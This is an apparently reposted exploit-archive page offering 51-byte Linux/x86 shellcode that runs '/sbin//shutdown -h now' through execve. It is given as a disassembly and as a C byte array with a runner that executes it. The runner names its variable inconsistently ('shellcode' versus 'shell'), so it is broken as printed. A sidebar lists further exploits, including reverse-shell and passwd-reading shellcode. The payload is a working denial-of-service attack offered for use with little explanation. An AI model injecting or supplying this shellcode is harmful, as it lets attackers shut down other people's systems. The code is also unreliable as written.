首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Backbox Linux/x86 shutdown shellcode 51 byte ( lunix )
来源:www.facebook.com/fysl.fyslm 作者:TrOoN 发布时间:2012-02-13  
# Title : Backbox Linux/x86  shutdown shellcode 51 byte ( lunix )

# Author : TrOoN

# E-mail : www.facebook.com/fysl.fyslm

# Home : city 617 logt Draria algeria

# Web Site : www.1337day.com

# Facebook : https://www.facebook.com/fysl.fyslm

# platform : back box lunix os

# Type : Shellcode [ assmb]

# Tested on : bacbox ENG 32 Bit

# download link : www.backbox.org
###


~~~~~~~~~~~~    SPICIAL  to Ked Ans ~~~~~~~
// this is assmb
 * 08048060 <_start>:
 * 8048060:       6a 0b                   push   $0xb
 * 8048062:       58                      pop    %eax
 * 8048063:       99                      cltd
 * 8048064:       52                      push   %edx
 * 8048065:       6a 77                   push   $0x77
 * 8048067:       66 68 6e 6f             pushw  $0x6f6e
 * 804806b:       89 e6                   mov    %esp,%esi
 * 804806d:       52                      push   %edx
 * 804806e:       66 68 2d 68             pushw  $0x682d
 * 8048072:       89 e1                   mov    %esp,%ecx
 * 8048074:       52                      push   %edx
 * 8048075:       68 64 6f 77 6e          push   $0x6e776f64
 * 804807a:       68 73 68 75 74          push   $0x74756873
 * 804807f:       68 69 6e 2f 2f          push   $0x2f2f6e69
 * 8048084:       68 2f 2f 73 62          push   $0x62732f2f
 * 8048089:       89 e3                   mov    %esp,%ebx
 * 804808b:       52                      push   %edx
 * 804808c:       56                      push   %esi
 * 804808d:       51                      push   %ecx
 * 804808e:       53                      push   %ebx
 * 804808f:       89 e1                   mov    %esp,%ecx
 * 8048091:       cd 80                   int    $0x80
 *
 */
 //  delete this ok !! ///

main()
    {
    


        char shellcode[] =  "\x6a\x0b\x58\x99\x52\x6a\x77\x66"
                "\x68\x6e\x6f\x89\xe6\x52\x66\x68"
                "\x2d\x68\x89\xe1\x52\x68\x64\x6f"
                "\x77\x6e\x68\x73\x68\x75\x74\x68"
                "\x69\x6e\x2f\x2f\x68\x2f\x2f\x73"
                "\x62\x89\xe3\x52\x56\x51\x53\x89"
                "\xe1\xcd\x80";

    
            printf("Length: %d\n",strlen(shell));
        (*(void(*)()) shell)();

}


/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/**/**/*//*/*/*/*/*/* Ked Ans - TroOn - all facebook frind*-*-*--*-*-*
:::::::::::::::::::::::: ALGERIAN HAxoAR ::::::::::::::::::::::::::::::::::::::::::::::



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·jetVideo 8.0.2 Denial of Servi
·Shellcode linux/x86 reverse sh
·Adobe Flash Player MP4 Sequenc
·Backbox /etc/passwd read shell
·Citrix Provisioning Services 5
·Linux x86 BackBox BackConnect
·os-x/x86 bind backdoor tcp por
·Sysax Multi Server <= 5.52 Fil
·PeerBlock 1.1 BSOD
·SciTools Understand 2.6 DLL Lo
·mozilla firefox <= 10.0 local
·TORCS <= 1.3.2 xml buffer over
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved